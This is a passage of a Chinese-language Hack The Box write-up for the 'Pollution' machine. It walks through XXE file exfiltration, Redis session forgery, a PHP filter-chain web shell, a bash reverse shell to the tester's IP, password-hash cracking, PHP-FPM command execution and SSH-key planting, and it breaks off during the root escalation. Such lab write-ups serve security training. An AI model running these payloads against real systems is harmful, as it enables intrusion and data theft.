惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

The GitHub Blog
The GitHub Blog
S
SegmentFault 最新的问题
MyScale Blog
MyScale Blog
有赞技术团队
有赞技术团队
V
Visual Studio Blog
T
The Blog of Author Tim Ferriss
爱范儿
爱范儿
Vercel News
Vercel News
让小产品的独立变现更简单 - ezindie.com
让小产品的独立变现更简单 - ezindie.com
Y
Y Combinator Blog
Blog — PlanetScale
Blog — PlanetScale
D
DataBreaches.Net
美团技术团队
Microsoft Security Blog
Microsoft Security Blog
大猫的无限游戏
大猫的无限游戏
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
酷 壳 – CoolShell
酷 壳 – CoolShell
GbyAI
GbyAI
A
About on SuperTechFans
云风的 BLOG
云风的 BLOG
The Cloudflare Blog
宝玉的分享
宝玉的分享
V
V2EX
Microsoft Azure Blog
Microsoft Azure Blog

ABB00717

HTB - SpeedNet PHP Filter to RCE Redis HTB - Pollution 工具 常見服務 HTB - BroScience HTB - BroScience 如何把爛爛的 shell 升級成好用的 TTY 滲透筆記 HTB - Imagery HTB - Imagery HTB - Reset HTB - Reset HTB - Trick HTB - Trick HTB - Editorial HTB - Editorial 150. Evaluate Reverse Polish Notation droopescan 安裝找不到 module imp 解決「桌面背景被當成一個視窗不斷重新彈出並覆蓋其他視窗」的問題 桌面不斷彈出覆蓋其他視窗 medusa 找不到 ssh module 中文文案排版指北 BugBounty Playbook 小知識 透過 Ubuntu 26 設定 Windows 11 雙系統並使用 Image Recovery 之踩坑全紀錄 透過 Ubuntu 26 設定 Windows 11 雙系統並使用 Image Recovery 之踩坑全紀錄 清除 git history 中的機敏資料 編譯器筆記
HTB - Pollution
2026-09-08 · via ABB00717

靶機簡介

Pollution 的正式域名是 collect.htb,枚舉後發現 forumdevelopers 兩個子網域。其中 forum 是 MyBB 論壇,我們在某篇貼文的附件裡找到了 Burp 的代理紀錄,其中一筆 POST /set/role/admin 帶著 token=ddac62a2...,拿同樣的 token 用自己的 PHPSESSID 重放就會被導向 /admin,而 /admin 的註冊請求是用 XML 傳送的,檢查後發現可以利用 Out-of-Band XXE 讀取檔案。我們先讀 /etc/apache2/sites-available/ 下的設定檔,再讀 /var/www/developers/.htpasswd 破出 Basic Auth 的 developers_group:r0cket,最後讀 login.phpbootstrap.php 拿到 MySQL 帳密與 Redis 密碼 COLLECTR3D1SPASS

Basic Auth 之後還有一層應用程式自己的登入表單,但 session 是存在 Redis 上的,login.php 只檢查 $_SESSION['auth'],於是直接把自己的 session 寫成 auth|b:1; 就進去了。裡頭 ?page= 的檔案引入可以套 PHP Filter Chain 執行程式碼,即可取得 www-data 的 shell。進入後發現 victor 名下的 php-fpm pool,與之正常互動就能以 victor 的身分執行命令,寫入 SSH 公鑰即可登入。

枚舉後發現以 root 執行的 /root/pollution_api,它只看 JWT 裡的 role 判斷權限,所以直接改資料庫把帳號升成 admin 就能取得 admin 的 token,進而打到 /admin/messages/send。該端點用 lodash 的 _.merge 合併使用者可控的請求內容,而該版本的 lodash 存在 Prototype Pollution,汙染 child_process 的選項後即可讓 root 執行任意命令。

Academy x HTB Labs

Box Info

Recon

首先肯定是 nmap 伺候:

# Output truncated for brevity
$ nmap -p- --min-rate 10000 -T4 -Pn -n 10.129.38.17
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
6379/tcp open  redis

$ nmap -sC -sV -p22,80,6379 10.129.38.17
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 db:1d:5c:65:72:9b:c6:43:30:a5:2b:a0:f0:1a:d5:fc (RSA)
|   256 4f:79:56:c5:bf:20:f9:f1:4b:92:38:ed:ce:fa:ac:78 (ECDSA)
|_  256 df:47:55:4f:4a:d1:78:a8:9d:cd:f8:a0:2f:c0:fc:a9 (ED25519)
80/tcp   open  http    Apache httpd 2.4.54 ((Debian))
|_http-server-header: Apache/2.4.54 (Debian)
|_http-trane-info: Problem with XML parsing of /evox/about
|_http-title: Home
| http-cookie-flags: 
|   /: 
|     PHPSESSID: 
|_      httponly flag not set
6379/tcp open  redis   Redis key-value store
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

先試試看 Redis:

$ redis-cli -h 10.129.38.17
10.129.38.17:6379> keys *
(error) NOAUTH Authentication required.

我們目前還不知道密碼,簡單爆破一下也沒結果,那先去網頁看看再說:

10.129.38.17  pollution.htb

逛網頁

看起來是一個專注於「監控環境污染指標」的公司:

在 Contact Us 才發現了正確的域名:

在表單中我們發現了 LOGIN 和 REGISTER 入口:

註冊 aoeu:aoeu 並登入以後就可以到新的頁面:

沒有什麼有趣的東西了。在 /etc/hosts 補上 collect.htb

10.129.38.17  pollution.htb collect.htb

蒐集更多資訊

網站逛得差不多了,來看點其他東西。從 Wappalyzer 看到這是 PHP + Apache Server:

掃描虛擬主機時找到了 forumdevelopers

$ ffuf -w /usr/share/SecLists/Discovery/DNS/subdomains-top1million-20000.txt -u 'http://collect.htb' -H 'Host: FUZZ.collect.htb' -fs 26197
...<SNIP>...
forum                   [Status: 200, Size: 14098, Words: 910, Lines: 337, Duration: 77ms]
developers              [Status: 401, Size: 469, Words: 42, Lines: 15, Duration: 159ms]
:: Progress: [20000/20000] :: Job [1/1] :: 267 req/sec :: Duration: [0:01:14] :: Errors: 0 ::

forum.collect.htb

是個由 MyBB 驅動的公司內部論壇網站:

看底下的 2002-2026,網站本身應該不會有洞。發現可以註冊帳號,註冊 aoeu:htnshtns 登入逛逛看:

登入後進到首頁:

看到有一些文章,而在 “I had problems with the Pollution API” 這篇文章中有人在問 API 相關的問題,還有附上相關附件:

這些可以當作尋找 API 的線索。proxy_history.xml 是個 XML 檔案,結構遵循:

<item>
  <time>Wed Oct 19 18:18:55 BRT 2022</time>
  <url><![CDATA[http://127.0.0.1:3000/auth/login]]></url>
  <host ip="127.0.0.1">127.0.0.1</host>
  <port>3000</port>
  <protocol>http</protocol>
  <method><![CDATA[POST]]></method>
  <path><![CDATA[/auth/login]]></path>
  <extension>null</extension>
  <request base64="true"><![CDATA[UE9T<SNIP>]]></request>
  <status>200</status>
  <responselength>240</responselength>
  <mimetype>JSON</mimetype>
  <response base64="true"><![CDATA[SFRU<SNIP>]]></response>
  <comment></comment>
</item>

看起來就一臉封包的樣子,隨手 grep 了 URL:

$ grep -R '<url>' ./evidences/files/proxy_history.xml
    <url><![CDATA[https://storyset.com/for-figma]]></url>
    <url><![CDATA[http://collect.htb/set/role/admin]]></url>
    <url><![CDATA[http://detectportal.firefox.com/canonical.html]]></url>
    <url><![CDATA[http://127.0.0.1:3000/auth/login]]></url>
    <url><![CDATA[http://collect.htb/]]></url>
    <url><![CDATA[http://detectportal.firefox.com/canonical.html]]></url>
    <url><![CDATA[http://forum.collect.htb/forumdisplay.php?fid=2]]></url>
    <url><![CDATA[http://forum.collect.htb/jscripts/jeditable/jeditable.min.js]]></url>
    <url><![CDATA[http://forum.collect.htb/jscripts/inline_edit.js?ver=1821]]></url>
    <url><![CDATA[http://forum.collect.htb/jscripts/rating.js?ver=1821]]></url>

其中最顯眼的就 http://collect.htb/set/role/admin 啊,仔細看一下:

<item>
  <time>Thu Sep 22 18:29:34 BRT 2022</time>
  <url><![CDATA[http://collect.htb/set/role/admin]]></url>
  <host ip="192.168.1.6">collect.htb</host>
  <port>80</port>
  <protocol>http</protocol>
  <method><![CDATA[POST]]></method>
  <path><![CDATA[/set/role/admin]]></path>
  <extension>null</extension>
  <request base64="true"><![CDATA[UE9TVCAvc2V0L3JvbGUvYWRtaW4gSFRUUC8xLjENCkhvc3Q6IGNvbGxlY3QuaHRiDQpVc2VyLUFnZW50OiBNb3ppbGxhLzUuMCAoV2luZG93cyBOVCAxMC4wOyBXaW42NDsgeDY0OyBydjoxMDQuMCkgR2Vja28vMjAxMDAxMDEgRmlyZWZveC8xMDQuMA0KQWNjZXB0OiB0ZXh0L2h0bWwsYXBwbGljYXRpb24veGh0bWwreG1sLGFwcGxpY2F0aW9uL3htbDtxPTAuOSxpbWFnZS9hdmlmLGltYWdlL3dlYnAsKi8qO3E9MC44DQpBY2NlcHQtTGFuZ3VhZ2U6IHB0LUJSLHB0O3E9MC44LGVuLVVTO3E9MC41LGVuO3E9MC4zDQpBY2NlcHQtRW5jb2Rpbmc6IGd6aXAsIGRlZmxhdGUNCkNvbm5lY3Rpb246IGNsb3NlDQpDb29raWU6IFBIUFNFU1NJRD1yOHFuZTIwaGlnMWszbGk2cHJnazkxdDMzag0KVXBncmFkZS1JbnNlY3VyZS1SZXF1ZXN0czogMQ0KQ29udGVudC1UeXBlOiBhcHBsaWNhdGlvbi94LXd3dy1mb3JtLXVybGVuY29kZWQNCkNvbnRlbnQtTGVuZ3RoOiAzOA0KDQp0b2tlbj1kZGFjNjJhMjgyNTQ1NjEwMDEyNzc3MjdjYjM5N2JhZg==]]></request>
  <status>302</status>
  <responselength>296</responselength>
  <mimetype></mimetype>
  <response base64="true"><![CDATA[SFRUUC8xLjEgMzAyIEZvdW5kDQpEYXRlOiBUaHUsIDIyIFNlcCAyMDIyIDIxOjMwOjE0IEdNVA0KU2VydmVyOiBBcGFjaGUvMi40LjU0IChEZWJpYW4pDQpFeHBpcmVzOiBUaHUsIDE5IE5vdiAxOTgxIDA4OjUyOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogbm8tc3RvcmUsIG5vLWNhY2hlLCBtdXN0LXJldmFsaWRhdGUNClByYWdtYTogbm8tY2FjaGUNCkxvY2F0aW9uOiAvaG9tZQ0KQ29udGVudC1MZW5ndGg6IDANCkNvbm5lY3Rpb246IGNsb3NlDQpDb250ZW50LVR5cGU6IHRleHQvaHRtbDsgY2hhcnNldD1VVEYtOA0KDQo=]]></response>
  <comment></comment>
</item>

亂碼看起來就很 base64,把 request 和 response 的內容解密可以得到:

POST /set/role/admin HTTP/1.1
Host: collect.htb
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: close
Cookie: PHPSESSID=r8qne20hig1k3li6prgk91t33j
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 38

token=ddac62a28254561001277727cb397baf

HTTP/1.1 302 Found
Date: Thu, 22 Sep 2022 21:30:14 GMT
Server: Apache/2.4.54 (Debian)
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate
Pragma: no-cache
Location: /home
Content-Length: 0
Connection: close
Content-Type: text/html; charset=UTF-8


我推測只要 /set/role/admin 有附上正確的 token,就可以把該 cookie 設為 admin,試試看:

$ curl -X POST 'http://collect.htb/set/role/admin' -d 'token=ddac62a28254561001277727cb397baf' -b 'PHPSESSID=qh2p91uv2etij667k0iplk6nv7' -v
Note: Unnecessary use of -X or --request, POST is already inferred.
* Host collect.htb:80 was resolved.
* IPv6: (none)
* IPv4: 10.129.38.17
*   Trying 10.129.38.17:80...
* Established connection to collect.htb (10.129.38.17 port 80) from 10.10.17.56 port 34586
* using HTTP/1.x
> POST /set/role/admin HTTP/1.1
> Host: collect.htb
> User-Agent: curl/8.21.0
> Accept: */*
> Cookie: PHPSESSID=qh2p91uv2etij667k0iplk6nv7
> Content-Length: 38
> Content-Type: application/x-www-form-urlencoded
>
* upload completely sent off: 38 bytes
< HTTP/1.1 302 Found
< Date: Sun, 06 Sep 2026 13:04:29 GMT
< Server: Apache/2.4.54 (Debian)
< Expires: Thu, 19 Nov 1981 08:52:00 GMT
< Cache-Control: no-store, no-cache, must-revalidate
< Pragma: no-cache
< Location: /admin
< Content-Length: 0
< Content-Type: text/html; charset=UTF-8
<
* Connection #0 to host collect.htb:80 left intact

貌似成功了,還把我們導向了 /admin。在 /admin 看到新的登入介面,輸入 aoeu:aoeu

按下送出後會顯示我們註冊成功:

但就沒有下文了,我們還是在 /admin,並且也沒有新的東西讓我們點。

developers.collect.htb

在載入頁面以前會要求我們輸入密碼:

我曾嘗試利用在 forum 看到的使用者搭配 /usr/share/SecLists/Passwords/Common-Credentials/xato-net-10-million-passwords-10000.txt 爆破,但都沒有成功。

Shell as www-data

XXE

在整理證據的過程中,我發現帳號註冊請求是用 XML 來傳送的:

既然在 /admin 看到 XML,當然就想到了 XXE。因為看不到輸出,所以從 HackTricks 裡面挑一個 Blind SSRF 來測試,結果還真中了:

$ python3 -m http.server 6060
Serving HTTP on 0.0.0.0 port 6060 (http://0.0.0.0:6060/) ...
10.129.38.17 - - [06/Sep/2026 21:37:59] code 404, message File not found
10.129.38.17 - - [06/Sep/2026 21:37:59] "GET /poc HTTP/1.1" 404 -

那麼我們就可以來玩 Out-of-Bound XXE 了,複製一個 evil.dtd 模板,看能不能抓到 /etc/hostname

<!ENTITY % file SYSTEM "php://filter/convert.base64-encode/resource=/etc/hostname">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://10.10.17.56:6060/%file;'>">
%eval;
%exfil;

傳送對應請求:

我們這邊成功接收到了 /etc/hostname 的 Base64 編碼:

$ python3 -m http.server 6060
Serving HTTP on 0.0.0.0 port 6060 (http://0.0.0.0:6060/) ...
10.129.38.17 - - [06/Sep/2026 21:59:06] "GET /evil.dtd HTTP/1.1" 200 -
10.129.38.17 - - [06/Sep/2026 21:59:07] code 404, message File not found
10.129.38.17 - - [06/Sep/2026 21:59:07] "GET /cG9sbHV0aW9uCg== HTTP/1.1" 404 -
$ echo -ne 'cG9sbHV0aW9uCg==' | base64 -d
pollution

既然我們能看到檔案,那就試試看能不能看到 developers.collect.htb 的密碼。後端用的是 Apache,就圍繞它去找 Config Files,最後是 /etc/apache2/sites-available/000-default.conf 找到了立足點:

<VirtualHost *:80>
...<SNIP>...
	ServerAdmin webmaster@localhost
	DocumentRoot /var/www/collect/public
...<SNIP>...
</VirtualHost>

# vim: syntax=apache ts=4 sw=4 sts=4 sr noet

看來網站程式碼的目錄都在 var/www/<sitename>,在 sites-available 目錄下繼續枚舉,果然找到了 /etc/apache2/sites-available/developers.collect.htb.conf

<VirtualHost *:80>
...<SNIP>...
	ServerAdmin collect@localhost
	ServerName developers.collect.htb
	DocumentRoot /var/www/developers
...<SNIP>...
	<Directory "/var/www/developers">
		AuthType Basic
		AuthName "Restricted Content"
		AuthUserFile /var/www/developers/.htpasswd
		Require valid-user
	</Directory>
	

	ErrorLog ${APACHE_LOG_DIR}/error.log
	CustomLog ${APACHE_LOG_DIR}/access.log combined
...<SNIP>...
</VirtualHost>

看到了關鍵字 /var/www/developers/.htpasswd,解碼後果然看到了 Hash:

developers_group:$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1

丟去 hashcatrockyou.txt 解碼馬上找到了密碼 r0cket

$ hashcat evidences/cred/developers_account_passwords.txt ~/Shared/wordlists/rockyou.txt
...<SNIP>...
$apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1:r0cket

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1600 (Apache $apr1$ MD5, md5apr1, MD5 (APR))
Hash.Target......: $apr1$MzKA5yXY$DwEz.jxW9USWo8.goD7jY1
...<SNIP>...

Redis

developers_group:r0cket 登入後又看到了一個登入介面 ._ .

用之前註冊的帳密和 developers_group:r0cket 都登不進去,於是開始利用 Out-of-Bound XXE 從 /var/www/developers/login.php 看原始碼,結果馬上就看到:

<?php
require './bootstrap.php';
 
if (isset($_SESSION['auth']) && $_SESSION['auth'] == True) {
    die(header('Location: /'));
}
 
$db = new mysqli('localhost', 'webapp_user', 'Str0ngP4ssw0rdB*12@1', 'developers');
$db->set_charset('utf8mb4');
$db->options(MYSQLI_OPT_INT_AND_FLOAT_NATIVE, 1);

mysqli 函式看到了 MySQL 帳密 webapp_user:Str0ngP4ssw0rdB*12@1,至於 Session 在 bootstrap.php 就已經綁定到 Redis 上了:

<?php
 
ini_set('session.save_handler', 'redis');
ini_set('session.save_path', 'tcp://localhost:6379/?auth=COLLECTR3D1SPASS');
 
session_start();
 
require '../vendor/autoload.php';

我們最開始枚舉就有看到 Redis 的端口,拿 COLLECTR3D1SPASS 當作密碼,透過 redis-cli 連線就進去了:

$ redis-cli -h pollution.htb
pollution.htb:6379> AUTH COLLECTR3D1SPASS
OK
pollution.htb:6379> KEYS *
1) "PHPREDIS_SESSION:qh2p91uv2etij667k0iplk6nv7"
2) "PHPREDIS_SESSION:bb3uvmvohfcqdvihvmg2bdois0"

那個 bb3uvmvohfcqdvihvmg2bdois0 就是我們的 PHPREDIS_SESSION

透過 login.php 可以看出只要 $_SESSION['auth'] == True 就可以登入,反正帳密判斷式不輸入也不會走到:

<?php
require './bootstrap.php';
 
if (isset($_SESSION['auth']) && $_SESSION['auth'] == True) {
    die(header('Location: /'));
}
// ...<SNIP>...

所以在 Redis 設定 auth = True

pollution.htb:6379> SET PHPREDIS_SESSION:bb3uvmvohfcqdvihvmg2bdois0 'auth|b:1;'
OK

重新刷新後就可以進去了:

PHP Filter to RCE

看到首頁 URL 長 http://developers.collect.htb/?page=home,一臉很好 LFI 的樣子。我首先用 ffuf 搭配 LFI-Jhaddix.txt 爆破,但沒有掃出東西。之後換 PHP Filter 就找到漏洞了:

然後我這裡看了別人的 writeup 才知道 PHP Filter 可以 RCE,具體原理可以看我寫的另一篇文章 PHP Filter to RCE。總之我們利用這個工具 製作酬載:

$ python3 php_filter_chain_generator.py --chain '<?php system($_GET["cmd"]) ?>'

[+] The following gadget chain will generate the following code : <?php system($_GET["cmd"]) ?> (base64 value: PD9waHAgc3lzdGVtKCRfR0VUWyJjbWQiXSkgPz4)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|<SNIP>|convert.base64-decode/resource=php://temp

生成 Reverse Shell 的 base64 編碼:

$ base64 <<< 'bash -c "bash -i >& /dev/tcp/10.10.17.56/6061 0>&1"'
YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy41Ni82MDYxIDA+JjEiCg==

最後在 cmd 輸入 echo 'YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNy41Ni82MDYxIDA+JjEiCg==' | base64 -d | bash 就可以拿到 shell 了:

$ nc -lvnp 6061
listening on [any] 6061 ...

connect to [10.10.17.56] from (UNKNOWN) [10.129.38.17] 47714
bash: cannot set terminal process group (973): Inappropriate ioctl for device
bash: no job control in this shell
www-data@pollution:~/developers$

Shell as victor

Password Attacks [failed]

枚舉一下,發現系統上還有另一個使用者 victor

www-data@pollution:~/developers$ cat /etc/passwd | grep sh$
root:x:0:0:root:/root:/bin/bash
victor:x:1002:1002::/home/victor:/bin/bash

記得我們在 login.php 有看到 MySQL 的帳密 webapp_user:Str0ngP4ssw0rdB*12@1,用 mysql 連線,果然成功進去了,可以看到有不少資料庫:

www-data@pollution:~/developers$ mysql -u 'webapp_user' -p
Enter password:
...<SNIP>...
MariaDB [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| developers         |
| forum              |
| information_schema |
| mysql              |
| performance_schema |
| pollution_api      |
| webapp             |
+--------------------+
7 rows in set (0.001 sec)

在逐一列舉後找到了以下機敏資料:

MariaDB [developers]> select * from users;
+----+----------+----------------------------------+
| id | username | password                         |
+----+----------+----------------------------------+
|  1 | admin    | c89efc49ddc58ee4781b02becc788d14 |
+----+----------+----------------------------------+
1 row in set (0.001 sec)

MariaDB [forum]> select username, password, salt from mybb_users;
+---------------------+----------------------------------+----------+
| username            | password                         | salt     |
+---------------------+----------------------------------+----------+
| administrator_forum | b254efc2c5716af2089ffeba1abcbf30 | DFFbL50R |
| john                | e1ec52d73242b78fdee6be117569b602 | UsWOsbCe |
| victor              | b454fd07d44b27f1d528efba841c9717 | Guls6xA8 |
| sysadmin            | 477a429cddfc475b9100958cae9204b1 | 3aUhiPN0 |
| jeorge              | 5d13d9d4b1f368280b8426800a85702e | 7HINOv17 |
| lyon                | 5eab3ec757f8352597ab74361fda8bcc | glx7Hpzh |
| jane                | 972470c4c1a3f53029e56007abcf39fc | YGjmCmvg |
| karldev             | 285127d01d188c8827c9fded33bf6f9e | KUWyAcfh |
| aoeu                | 26c37c9a6b2a91830bca377c5613b809 | 4K21Fd4J |
+---------------------+----------------------------------+----------+
9 rows in set (0.000 sec)

MariaDB [pollution_api]> select * from users;
+----+----------+----------+------+---------------------+---------------------+
| id | username | password | role | createdAt           | updatedAt           |
+----+----------+----------+------+---------------------+---------------------+
|  1 | aoeu     | aoeu     | user | 2026-09-06 13:05:59 | 2026-09-06 13:05:59 |
+----+----------+----------+------+---------------------+---------------------+
1 row in set (0.000 sec)

MariaDB [webapp]> select * from users;
+----+----------+----------------------------------+-------+
| id | username | password                         | role  |
+----+----------+----------------------------------+-------+
|  1 | admin    | c89efc49ddc58ee4781b02becc788d14 | admin |
|  3 | aoeu     | 05f60ba25a20f67f442f4127e4d6c4dd | admin |
+----+----------+----------------------------------+-------+
2 rows in set (0.000 sec)

看看在 forum 能不能拿到 victor 的密碼,在 functions_user.php 看到密碼生成使用 $hash = md5(md5($salt).md5($password));,本來想用 hashcat -hh 搜雜湊格式,沒找到,後來改搜平台名稱才找到對應的模式:

$ hashcat -hh | grep 'md5(md5($salt).md5($pass))'

$ hashcat -hh | grep -iE 'mybb|invision'
   2811 | MyBB 1.2+, IPB2+ (Invision Power Board)                    | Forums, CMS, E-Commerce

然而用 hashcat 卻什麼都沒爆出來:

$ cat forum.txt
administrator_forum:b254efc2c5716af2089ffeba1abcbf30:DFFbL50R
john:e1ec52d73242b78fdee6be117569b602:UsWOsbCe
victor:b454fd07d44b27f1d528efba841c9717:Guls6xA8
sysadmin:477a429cddfc475b9100958cae9204b1:3aUhiPN0
jeorge:5d13d9d4b1f368280b8426800a85702e:7HINOv17
lyon:5eab3ec757f8352597ab74361fda8bcc:glx7Hpzh
jane:972470c4c1a3f53029e56007abcf39fc:YGjmCmvg
karldev:285127d01d188c8827c9fded33bf6f9e:KUWyAcfh
aoeu:3effc4d7c5f139b1a7ebe570236340ec:DO6Vr5OT

$ hashcat -m 2811 forum.txt ~/Shared/wordlists/rockyou.txt --username -O
...<SNIP>...
Approaching final keyspace - workload adjusted.


Session..........: hashcat
Status...........: Exhausted
Hash.Mode........: 2811 (MyBB 1.2+, IPB2+ (Invision Power Board))
Hash.Target......: forum.txt
...<SNIP>...

FastCGI

那就先看看其它攻擊面,枚舉一段時間後我注意到 victor 有在跑一個叫 php-fpm: pool victor 的行程:

www-data@pollution:~/developers$ ps aux | grep victor
victor      1083  0.0  0.4 265840 15984 ?        S    Sep06   0:00 php-fpm: pool victor
victor      1084  0.0  0.4 265840 15984 ?        S    Sep06   0:00 php-fpm: pool victor
www-data    6727  0.0  0.0   6608   700 pts/0    S+   00:45   0:00 grep victor

後來找了一圈資料,才發現不需要漏洞,正常互動就可以執行命令了。搜尋 PHP-FPM code execution client 找到了這個 Python 腳本,遵循用法即可拿到 user.txt

www-data@pollution:/tmp$ python3 fpm.py -c '<?php system("cat /home/victor/user.txt"); ?>' -p 9000 127.0.0.1 /var/www/developers/index.php
...<SNIP>...
779e************************c8b0

試了一些拿 shell 的方法,最後透過寫入我們 SSH 公鑰的方式取得了 victor 的 shell:

www-data@pollution:/tmp$ python3 fpm.py -p 9000 127.0.0.1 /var/www/developers/index.php -c '<?php system("ls -al /home/victor/.ssh");?>'
...<SNIP>...
total 8
drwx------  2 victor victor 4096 Nov 21  2022 .
drwx------ 16 victor victor 4096 Nov 21  2022 ..

www-data@pollution:/tmp$ python3 fpm.py -p 9000 127.0.0.1 /var/www/developers/index.php -c '<?php system("echo \"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ8003uUny50yIblpanwfMV2w4W7l2ODA3epo8g3pKr/ abb00717@abb00717-kali\" > /home/victor/.ssh/authorized_keys");?>'
...<SNIP>...

www-data@pollution:/tmp$ python3 fpm.py -p 9000 127.0.0.1 /var/www/developers/index.php -c '<?php system("chmod 600 /home/victor/.ssh/authorized_keys");?>'
...<SNIP>...

從 SSH 正常登入就可以了:

$ ssh victor@pollution.htb -i ./victor_key
...<SNIP>...
victor@pollution:~$ id
uid=1002(victor) gid=1002(victor) groups=1002(victor)

Shell as root

在 victor 的家目錄下我們找到了叫 pollution_api 的專案:

victor@pollution:~$ ls -al pollution_api/
total 116
drwxr-xr-x  8 victor victor  4096 Nov 21  2022 .
drwx------ 16 victor victor  4096 Nov 21  2022 ..
drwxr-xr-x  2 victor victor  4096 Nov 21  2022 controllers
drwxr-xr-x  2 victor victor  4096 Nov 21  2022 functions
-rw-r--r--  1 victor victor   528 Sep  2  2022 index.js
drwxr-xr-x  5 victor victor  4096 Nov 21  2022 logs
-rwxr-xr-x  1 victor victor   574 Aug 26  2022 log.sh
drwxr-xr-x  2 victor victor  4096 Nov 21  2022 models
drwxr-xr-x 97 victor victor  4096 Nov 21  2022 node_modules
-rw-r--r--  1 victor victor   160 Aug 26  2022 package.json
-rw-r--r--  1 victor victor 71730 Aug 26  2022 package-lock.json
drwxr-xr-x  2 victor victor  4096 Nov 21  2022 routes

稍微又枚舉了一下,發現該專案居然是以 root 身份執行的:

victor@pollution:~$ ps aux | grep pollution_api
root        1413  0.0  1.8 1664060 75368 ?       Sl   Sep06   0:00 /usr/bin/node /root/pollution_api/index.js
victor      6896  0.0  0.0   6268   644 pts/1    S+   01:03   0:00 grep pollution_api

如果我們能找到該專案的漏洞,就可能拿到 root 權限。從 index.js 看到專案開在端口 3000:

app.get('/',(req,res)=>{
    res.json({Status: "Ok", Message: 'Read documentation from api in /documentation'});
})
 
app.use('/auth',require('./routes/auth'));
app.use('/client',require('./routes/client'));
app.use('/admin',require('./routes/admin'));
app.use('/documentation',require('./routes/documentation'));
 
app.listen(3000, '127.0.0.1');
console.log('Listen on http://localhost:3000');

透過 /documentation 可以看到詳細的 API 端點介紹:

victor@pollution:~$ curl 'http://127.0.0.1:3000/documentation'
{
  "Documentation": {
    "Routes": {
      "/": {
        "Methods": "GET",
        "Params": null
      },
      "/auth/register": {
        "Methods": "POST",
        "Params": {
          "username": "username",
          "password": "password"
        }
      },
      "/auth/login": {
        "Methods": "POST",
        "Params": {
          "username": "username",
          "password": "password"
        }
      },
      "/client": {
        "Methods": "GET",
        "Params": null
      },
      "/admin/messages": {
        "Methods": "POST",
        "Params": {
          "id": "messageid"
        }
      },
      "/admin/messages/send": {
        "Methods": "POST",
        "Params": {
          "text": "message text"
        }
      }
    }
  }
}

修改帳號權限至 admin

先註冊帳號:

victor@pollution:~$ curl 'http://127.0.0.1:3000/auth/register' -X POST -d '{"username": "aoeu", "password": "aoeu"}' -H 'Content-Type: application/json'
{"Status":"Ok"}

帳戶註冊與登入的邏輯都在 auth.js 裡頭,透過 /register 發現 User 有分 role,預設使用 user/login 會從資料庫抓 role 來決定 signtoken 的權限。

router.post('/register', async (req, res) => {
    if (req.body.username != null && req.body.password != null) {
        try {
            const find = await User.findAll({
                where: {
                    username: req.body.username
                }
            })
            if (find.length == 0) {
 
                User.create({
                    username: req.body.username,
                    password: req.body.password,
                    role: "user"
                });
 
                exec('/home/victor/pollution_api/log.sh log_register');
 
                return res.json({
                    Status: "Ok"
                });
            }
 
            return res.json({
                Status: "This user already exists"
            });
        } catch (err) {
            return res.json({
                Status: "Error"
            });
        }
    }
    return res.json({
        Status: "Parameters not found"
    });
})
 
router.post('/login', async (req, res) => {
    if (req.body.username != null && req.body.password != null) {
        try {
            const find = await User.findAll({
                where: {
                    username: req.body.username,
                    password: req.body.password
                }
            });
            if (find.length > 0) {
 
                exec('/home/victor/pollution_api/log.sh log_login');
 
                const token = signtoken({
                    user: find[0].username,
                    is_auth: true,
                    role: find[0].role
                });
                return res.json({
                    Status: "Ok",
                    Header: {
                        "x-access-token": token
                    }
                });
            }
 
            return res.json({
                Status: "Error",
                Message: "Invalid Credentials"
            });
        } catch (err) {
            return res.json({
                Status: "Error"
            });
        }
    }
 
    return res.json({
        Status: "Parameters not found"
    });
})

若你好奇 log.sh 是啥,他就只是一個根據參數自動生成 Log 的腳本而已:

#!/bin/bash
 
if [ $1 == 'log_message' ]
then
 
    date=$(date '+%d-%m-%Y-%H:%M:%S');
# ...<SNIP>...

因為 $1 沒有加雙引號,所以會造成一些問題,但重點是我們根本沒有機會傳遞參數,因此這裡不展開。

admin.js 也能看到它是依據 token 比較權限的,而非根據資料庫:

router.use('/', async (req, res, next) => {
    if (req.headers["x-access-token"]) {
        const token = decodejwt(req.headers["x-access-token"]);
        if (token) {
            const find = await User.findAll({
                where: {
                    username: token.user,
                    role: token.role
                }
            });
 
            if (find.length > 0) {
                if (find[0].username == token.user && find[0].role == token.role && token.role == "admin") {
                    return next();
                }
// ...<SNIP>...

不過既然我們都有資料庫的存取權限了,那就直接改就好啦:

MariaDB [pollution_api]> select * from users where username = "aoeu";
+----+----------+----------+------+---------------------+---------------------+
| id | username | password | role | createdAt           | updatedAt           |
+----+----------+----------+------+---------------------+---------------------+
|  1 | aoeu     | aoeu     | user | 2026-09-08 02:55:37 | 2026-09-08 02:55:37 |
+----+----------+----------+------+---------------------+---------------------+
1 row in set (0.001 sec)

MariaDB [pollution_api]> update users set role = 'admin' where username = "aoeu";
Query OK, 1 row affected (0.003 sec)
Rows matched: 1  Changed: 1  Warnings: 0

MariaDB [pollution_api]> select * from users where username = "aoeu";
+----+----------+----------+-------+---------------------+---------------------+
